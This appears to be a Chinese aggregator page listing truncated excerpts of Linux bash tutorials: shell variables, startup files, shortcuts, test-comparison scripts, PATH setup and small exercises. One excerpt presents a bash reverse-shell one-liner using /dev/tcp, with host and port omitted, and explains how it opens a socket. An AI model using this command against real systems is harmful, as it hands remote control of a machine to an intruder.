Linux下bash的一些总结】的更多相关文章

学习好shell编程是很有用的,可以使用shell脚本轻巧地完成有趣的工作. 本文地址:http://www.cnblogs.com/yhLinux/p/4047516.html 1. Bash实例,作者:Daniel Robbins (drobbins@gentoo.org), 总裁兼 CEO, Gentoo Technologies, Inc. 此文共分三个部分,从介绍简单的系统变量开始,一步步讲解bash编程的基本要点,非常适合想短期入门的读者. 第一部分:http://www.ibm.c…
原文地址: http://www.cnblogs.com/NickQ/p/8870423.html 1.shell下没有变量类型和定义的概念. 变量直接使用不用定义 所有值都视为字符串. 在对变量取值都需要加$ 行注释为 # 在shell中,算术运算,执行加减除 例如: var1=5 var2=2 total=`expr $var1+$var2` $ 是取变量值运算符 ` 是命令置换符,将expr \(var1+\)var2执行结果赋值给total expr 是做数学运算的命令 shell中,算…
Linux安装时可能要修改的配置文件:/etc/profile./etc/bashrc(ubuntu没有这个文件,对应地,其有/etc/bash.bashrc文件.我用的是ubuntu系统,所以下面将一律使用/etc/bash.bashrc来叙述).~/.bash_profile.~/.bash_login.~/.profile.~/.bashrc. utuntu系统默认只有/etc/profile./etc/bash.bahsrc.~/.profile.~/.bashrc这四个文件.其他文件可…
1.shell中的变量定义和引用(1)变量定义和初始化.shell是弱类型语言(语言中的变量如果有明确的类型则属于强类型语言:变量没有明确类型就是弱类型语言),和C语言不同.在shell编程中定义变量不需要制定类型,也没有类型这个概念.(2)变量定义时可以初始化,使用=进行初始化赋值.在shell中赋值的=两边是不能有空格的.注意:shell对语法非常在意,非常严格.很多地方空格都是必须没有或者必须有,而且不能随意有没有空格.(3)变量赋值,变量定义后可以再次赋值,新的赋值会覆盖老的赋值.she…
关于"交互式-非交互式"与"登录-非登陆"shell的总结 关于".bash_profile"和".bashrc"区别的总结 更新操作 打开terminal(终端) cd ~ ( 进入当前用户的home目录) open .bash_profile (打开.bash_profile文件,如果文件不存在就 创建文件:touch .bash_profile 编辑文件:open -e bash_profile) 直接更改弹出的.bas…
    一.用scp命令从物理主机向CentOS 6.1虚拟机传送文件,提示以下错误:bash: scp: command not found到CentOS 6.1虚拟机查看也缺少scp命令.该虚拟机是同事安装的,还有其他命令也不完整,可能不是完整安装,缺了些包.二.用以下方法解决:1.在一台完整的CentOS 5.8查找scp所在的包:# which scp/usr/bin/scp# rpm -qf /usr/bin/scpopenssh-clients-4.3p2-82.el52.查出是属于…
-bash: mysql: command not found 1.vim ~/.bash_profile 最下面写 export PATH=$PATH:/usr/local/mysql/bin(你的安装bin目录) :wq 保存退出 2.source ~/.bash_profile 然后就直接可以实现了 给分吧 亲自试验过 3. >>mysql  -uroot -p >>输入密码…
Ctrl + A  :切换到命令行开始 Ctrl + E :切换到命令行末尾 Ctrl + L : 清屏,相当于clear Ctrl + U :清除剪切光标前的内容 Ctrl + K :剪切清除光标后的内容 Ctrl + Y : 粘贴刚所删除的字符 Ctrl + R :在历史命令中查找 Ctrl + C :终止命令 Ctrl + D :退出当前终端 Ctrl + Z :转入后台运行    由Ctrl+Z转入后台运行的进场在当前用户退出后就会终止,所以不如用nohup命令&,因为nohup命令的作…
背会... #!/bin/bash i= while true ;do ./maker > data.in ./a <data.in> data.out ./b <data.in> data.ans if diff data.out data.ans ;then printf "AC\n" else printf "WA\n" break; fi done 对拍 还有一个多组数据测试. 注意赋值的时候i前面不加$ #!/bin/bash…
有时候执行一个脚本或者运行一个可执行文件时,如执行脚本./foo.sh,会报错-bash: ./foo.sh: Permission denied,你会再试sudo ./foo.sh,发现继续报错sudo: foo.sh: command not found,这时候可能是因为该文件没有执行权限,可以通过ls -l foo.sh查看文件信息,如果确实没有,可以为文件增加执行权限 chmod +x foo.sh 这个时候就可以运行了. 参考Command not found when using s…
命令行应该这样写: sh -c "脚本字符串" example: sh -c "if ! type dpkg > /dev/null ; then echo 'some messages' fi"…
PS背景:我在公司做sdk 的pc端开发,所以经常会在win下编译通过之后跑到linux下再运行一次已确保能支持多平台. 今儿在win下跑完一程序,然后放到linux下跑的时候,我用指令: [plain] view plain copy sudo ./build.sh 但是却没有任何反应.于是我换了指令,用 [plain] view plain copy chmod u+x build.sh   ./build.sh 报错 "build.sh  /bin/bash^M: 坏的解释器:没有那个文件…
说明 目前,linux下的powershell约等于pash.希望大家专注mono,关注pash. 一键安装脚本包括for centos6,centos7,ubuntu 14.04  ubuntu 14.10 安装脚本是用yum或apt安装,mono官方最新版,然后编译安装pash最新版,最后生成两个命令: mybuild用于编译pash mypash用于运行pash 1 centos6 #!/bin/bash # centos6,一键安装mono,pash的shell脚本. # centos…
Linux下通过rm -f删除/var/spool/postfix/maildrop/中大量的小文件时提示: "-bash: /bin/rm: Argument list too long" 如图: 通过ls /var/spool/postfix/maildrop/*|wc -l 发现文件数达到21万多,见附件: 原因:rm -f的参数过多 解决方法:可使用awk一次删除一个的方式进行删除,但必须先进入该目录下,操作方法如下:1.先进入该目录下:cd /var/spool/postfi…
如果是在windows下编辑的脚本,到了linux下运行时会报出这样的错误/bin/bash^M:bad interpreter: No such file or directory这时因为编码的问题,需要进行编码转换.使用sudo vim xxx打开文件,:set ff可以看到当前的格式,应该是dos,使用set ff=unix,更改其格式,然后保存退出,就能正常的运行程序了…
在linux下操作的时候经常会遇到,bash: service: command not found这个错误,以前在网上找了,照着弄了,也没细看原因,今天又碰到这个问题,就顺便研究一下. 1.通常这种情况是出现在 通过su root命令来进行操作的时候. su或者su root 只是相当于以root用户身份来操作,实际的系统环境并没有切换到root用户的环境,而只是当前登录用户: su -,-l,--login都是已经完全的切换的root环境下,相当于完全用root用户登录. 这里就看下su命令…
在日常业务运维中,有时为了配合解决问题,需要给非运维人员开通系统账号,用于查询日志或代码.通常为了系统安全或避免不必要的误操作等目的,会将账号权限降至最低.下面介绍下在Linux下通过受限bash创建指定权限账号的操作记录: [root@mq-server ~]# ln -s /bin/bash /bin/rbash [root@mq-server ~]# useradd -s /bin/rbash wangshibo [root@mq-server ~]# passwd wangshibo […
一.linux下编译make文件报错“/bin/bash^M: 坏的解释器 参考文章:http://blog.csdn.net/liuqiyao_01/article/details/41542101#comments 自己测试的结果: [1]使用windows 下的编辑工具 新建文件doc2unix.sh #!/usr/bin/env bash # test PID=$(ps -aef | grep nginx | grep -v grep | grep master |awk '{print…
下面是Linux下的bash对拍程序: #!/bin/bash t=0 //数据组数 while true; do let "t=$t + 1" echox printf $t //bash语言的变量前需要加 $ printf ": " ./datamaker > input //数据生成器 ./color < input > output //需要对拍的程序 ./std < input > stdout //标程 if diff ou…
基于fork(),execvp()和wait()实现类linux下的bash--mybash 预备知识 fork():fork()函数通过系统调用创建一个与原来进程几乎完全相同的进程,也就是两个进程可以做完全相同的事,但如果初始参数或者传入的变量不同,两个进程也可以做不同的事http://blog.csdn.net/jason314/article/details/5640969. 重点是后一句话,如果初始参数或者传入变量不同,两个进程也可以做不同的事,意思就是虽然父进利用fork()函数创造了…
Linux下输入某些命令时会提示:bash:command not found. 首先,查看$PATH中是否包含了这些命令. $PATH:决定了shell到哪些目录中去寻找命令或程序,PATH值是一系列的目录.当运行程序时,linux到这些目录下搜索进行编译链接. 格式: PATH = $PATH:<PATH1>:<PATH2>:<PATH3>:...:<PATH N> 可以将自己指定的路径加到PATH中,中间用冒号":"隔开.环境变量更…
题目链接: 题目描述 利用指针,编写一个函数实现三个整数按由小到大的排序. 输入 三个整数 输出 由小到大输出成一行,每个数字后面跟一个空格 样例输入 2 3 1 样例输出 1 2 3 复习下Linux和Bash #!/bin/bash read -a arr ; i<${#arr[@]} ; i++ ));do ; j>i ; j-- ));do ]} ]];then t=${arr[j]} arr[j]=${arr[j-]} arr[j-]=$t fi done done echo ${a…
题目链接: 题目描述 打印出所有"水仙花数",所谓"水仙花数"是指一个三位数,其各位数字立方和等于该本身. 例如:153是一个水仙花数,因为153=1^3+5^3+3^3. Output: 153 ??? ??? ??? 输入 无 输出 所有的水仙花数,从小的开始. 每行一个 样例输入 样例输出 复习下Linux和Bash #!/bin/bash ;i<;i++)) do ;j<;j++)) do ;k<;k++)) do a=$((i**+j**…
题目链接: 题目描述 编写一个程序,输入a.b.c三个值,输出其中最大值. 输入 一行数组,分别为a b c 输出 a b c其中最大的数 样例输入 10 20 30 样例输出 30 复习下Linux和Bash #!/bin/bash read x read y read z tem=$x if [ $y -gt $tem ] then tem=$y else tem=$tem fi if [ $z -gt $tem ] then tem=$z else tem=$tem fi echo $te…
题目链接: 题目描述 写一个判断素数的函数,在主函数输入一个整数,输出是否是素数的消息. 输入 一个数 输出 如果是素数输出prime 如果不是输出not prime 样例输入 97 样例输出 prime 复习下Linux和Bash #!/bin/bash read n k= ;i<n;i++)) do b=$[ n%$i ] # echo $b ]];then k= fi done ]]; then echo "not prime" else echo "prime&…
[前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里shell由bash解析,有时候是由sh解析,不一定百发百中***在虚拟机里面试过可行,替换成自己的地址和端口即可******/dev/[tcp|upd]/host/port是Linux设备里面比较特殊的文件,读取或写入相当于建立socket调用******由于其特殊性,命令执行后依旧无法找到/dev/tcp目…
Linux 下 make 命令是系统管理员和程序员用的最频繁的命令之一.管理员用它通过命令行来编译和安装很多开源的工具,程序员用它来管理他们大型复杂的项目编译问题.本文我们将用一些实例来讨论 make 命令背后的工作机制. Make 如何工作的 对于不知道背后机理的人来说,make 命令像命令行参数一样接收目标.这些目标通常存放在以 “Makefile” 来命名的特殊文件中,同时文件也包含与目标相对应的操作.更多信息,阅读关于 Makefiles 如何工作的系列文章. 当 make 命令第一次执…
将所有文件的编码,转换为UTF-8 find . ! -type d -exec enca -L zh_CN -x UTF-8 {} \; 将指定目录下所有文件权限设定为644 find . ! -type d -exec chmod 644 {} \; 将指定目录下所有目录权限设定为755 find . -type d -exec chmod 755 {} \; 替换文本文件中行尾换行符,从dos(CRLF)为unix行尾换行符: find . -name '*.php' | xargs -I…
嵌入式 Linux下永久生效环境变量bashrc 1) .bashrc文件 在linux系统普通用户目录(cd /home/xxx)或root用户目录(cd /root)下,用指令ls -al可以看到4个隐藏文件, .bash_history   记录之前输入的命令 .bash_logout    当你退出时执行的命令 .bash_profile    当你登入shell时执行 .bashrc             当你登入shell时执行 请注意后两个的区别:'.bash_profile'只…
linux下查看和添加PATH环境变量 $PATH:决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当您运行一个程序时,Linux在这些目录下进行搜寻编译链接. 编辑你的 PATH 声明,其格式为: PATH=$PATH:<PATH 1>:<PATH 2>:<PATH 3>:------:<PATH N> 你可以自己加上指定的路径,中间用冒号隔开.环境变量更改后,在用户下次登陆时生效,如果想立刻生效,则可执行下面的语句:$ sourc…